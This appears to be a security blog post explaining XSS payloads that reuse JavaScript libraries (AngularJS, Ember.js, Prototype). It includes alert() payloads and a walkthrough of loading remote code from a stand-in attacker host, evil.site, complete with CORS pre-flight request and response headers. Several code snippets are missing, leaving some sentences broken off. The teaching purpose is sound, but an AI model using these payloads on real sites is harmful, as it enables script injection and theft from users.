In 1st edition AD&D two character classes had their own private languages: Druids and Thieves. Thus, a character could use the “Thieves’ Cant” to identify peers, bargain, threaten, or otherwise discuss malevolent matters with a degree of safety. (Of course, Magic-Users had that troublesome first level spell comprehend languages, and Assassins of 9th level or higher could learn secret or alignment languages forbidden to others.)
Thieves rely on subterfuge (and high DEX) to avoid unpleasant ends. Shakespeare didn’t make it into the list of inspirational reading in Appendix N of the DMG. Even so, consider in Henry VI, Part II, how the Duke of Gloucester (later to be Richard III) defends his treatment of certain subjects, with two notable exceptions:
Unless it were a bloody murderer,
Or foul felonious thief that fleec’d poor passengers,
I never gave them condign punishment.
Developers have their own spoken language for discussing code and coding styles. They litter conversations with terms of art like patterns and anti-patterns, which serve as shorthand for design concepts or litanies of caution. One such pattern is Don’t Repeat Yourself (DRY), of which Code Reuse is a lesser manifestation.
Well, hackers code, too.
The most boring of HTML injection examples is to display an
alert() message. The second most boring is to insert the
There are two important reasons for taking advantage of DRY in a web hack:
- Avoid incompetent blacklists (which is really a redundant term).
- Leverage code that already exists.
For example, imagine an HTML injection vulnerability in a site that uses the AngularJS library. The attacker could use a payload like:
angular.bind(self, alert, 9)()
In Ember.js the payload might look like:
Ember.run(null, alert, 9)
The pervasive jQuery might have a string like:
And the Underscore library might be leveraged with:
These are nice tricks. They might seem to do little more than offer fancy ways of triggering an
alert() message, but the code is trivially modifiable to a more lethal version worthy of a vorpal blade.
The jQuery library provides a few ways to obtain code:
Prototype has an
Ajax object. It will load and execute code from a call like:
But this has a catch: the request includes “non-simple” headers via the XHR object and therefore triggers a CORS pre-flight check in modern browsers. An invalid pre-flight response will cause the attack to fail. Cross-Origin Resource Sharing is never a problem when you’re the one sharing the resource.
In the Prototype
Ajax example, a browser’s pre-flight might look like the following. The initiating request comes from a link we’ll call http://web.site/xss_vuln.page.
OPTIONS http://evil.site/ HTTP/1.1 Host: evil.site User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Origin: http://web.site Access-Control-Request-Method: POST Access-Control-Request-Headers: x-prototype-version,x-requested-with Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Content-length: 0
As someone with influence over the content served by evil.site, it’s easy to let the browser know that this incoming cross-origin XHR request is perfectly fine. Hence, we craft some code to respond with the appropriate headers:
HTTP/1.1 200 OK Date: Tue, 27 Aug 2013 05:05:08 GMT Server: Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/1.0.1e DAV/2 SVN/1.7.10 PHP/5.3.26 Access-Control-Allow-Origin: http://web.site Access-Control-Allow-Methods: GET, POST Access-Control-Allow-Headers: x-json,x-prototype-version,x-requested-with Access-Control-Expose-Headers: x-json Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8
With that out of the way, the browser continues its merry way to the cursed resource. We’ve done nothing to change the default behavior of the
Ajax object, so it produces a POST. (Changing the method to GET would not have avoided the CORS pre-flight because the request would have still included custom
Finally, our site responds with CORS headers intact and a payload to be executed. We’ll be even lazier and tell the browser to cache the CORS response so it’ll skip subsequent pre-flights for a while.
Okay. So, it’s another
alert() message. I suppose I’ve repeated myself enough on that topic for now.
Never the less, auditing and improving code for CSP is a worthwhile endeavor. Even 1st level thieves only have a 20% change to Find/Remove Traps. The chance doesn’t hit 50% until 7th level. Improvement takes time.
And the price for failure? Well, it turns out condign punishment has its own API.